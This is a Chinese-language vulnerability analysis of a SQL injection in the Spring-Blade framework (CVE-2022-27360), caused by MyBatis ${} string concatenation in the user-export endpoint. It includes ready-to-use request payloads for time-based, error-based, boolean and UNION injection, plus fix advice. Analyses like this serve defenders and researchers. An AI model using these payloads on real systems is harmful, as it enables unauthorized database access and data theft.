spring-blade SQL注入漏洞
字数 1160 2025-08-07 08:22:27
Spring-Blade SQL注入漏洞分析与利用
0x01 漏洞描述
Spring-Blade框架中存在一个SQL注入漏洞,该漏洞源于MyBatis中不安全的SQL语句拼接方式。具体表现为使用${ew.customSqlSegment}进行SQL语句拼接时,未对用户输入进行充分过滤,导致攻击者可以通过构造特定参数实现SQL注入。
0x02 漏洞原理
漏洞产生点
- 在MyBatis中,使用
${}语法会直接拼接SQL语句而不进行预编译,这与#{}的安全处理方式不同 - 漏洞代码位于
src/main/java/org/springblade/system/user/service/impl/UserServiceImpl.java中的exportUser方法 - 调用链如下:
- 用户输入数据 → 构建成UserEntity
- 传入
userService.exportUser - 调用
baseMapper.exportUser - 根据userEntity构建SQL语句(将userEntity属性转化到where条件中)
关键问题
攻击者可以控制传入的entity属性名,这些属性名会直接拼接到SQL语句中且不被单引号包裹,例如:
SELECT id, tenant_id, account, name... FROM blade_user where 1-sleep(5)=?
0x03 漏洞利用方式
1. 时间盲注
构造payload使数据库执行延时函数:
/api/blade-user/export-user?Blade-Auth=[jwt]&account=&realName=&1-sleep(5)=1
效果:每条记录都会执行sleep(3),导致总延迟时间随记录数增加
2. 报错注入
利用数据库函数触发错误信息回显:
/api/blade-user/export-user?Blade-Auth=[jwt]&account=&realName=&1-updatexml(1,concat(0x5c,database(),0x5c),1)=1
3. 布尔盲注
通过判断返回数据量差异确认条件真假:
# 条件为真时返回数据
/api/blade-user/export-user?Blade-Auth=[jwt]&account=&realName=&1-if(1%3d1,1,0)=1
# 条件为假时返回空
/api/blade-user/export-user?Blade-Auth=[jwt]&account=&realName=&1-if(1%3d2,1,0)=1
4. 联合查询注入
构造完整SQL注入获取数据回显:
/api/blade-user/export-user?Blade-Auth=[jwt]&account=&realName=&account+like+?+and+is_deleted%3d?)union+select+1,2,3,user(),5,6,7,8,from_unixtime(1451997924),10,11,12--a=1
Payload解析:
- 需要闭合SQL语句中的括号
- 在注释符前预留两个预编译位
- 注意数据类型匹配(如时间戳字段需要使用
from_unixtime函数)
0x04 修复建议
- 在构建entity时,检查前端传入的map中是否包含entity本身不存在的属性,如有则直接忽略
- 避免使用
${}语法进行SQL拼接,改用安全的#{}预编译方式 - 对用户输入进行严格的过滤和验证
- 使用MyBatis的拦截器对SQL语句进行安全检查
0x05 补充说明
-
CVE编号:CVE-2022-27360
-
报错注入的Base64编码payload:
MS1pZigxJTNkMSxleHRyYWN0dmFsdWUoMSxjb25jYXQoMHg3ZSwoc2VsZWN0K3VzZXIoKSksMHg3ZSkpLDApPTE=解码后为:
1-if(1%3d1,extractvalue(1,concat(0x7e,(select+user()),0x7e)),0)=1 -
漏洞影响版本:特定版本的Spring-Blade框架
0x06 总结
该漏洞展示了MyBatis中不安全SQL拼接方式的危险性,特别是在处理动态属性时。开发人员应始终遵循最小权限原则和安全编码实践,避免直接将用户输入拼接到SQL语句中。安全团队应关注框架的更新和安全公告,及时修复已知漏洞。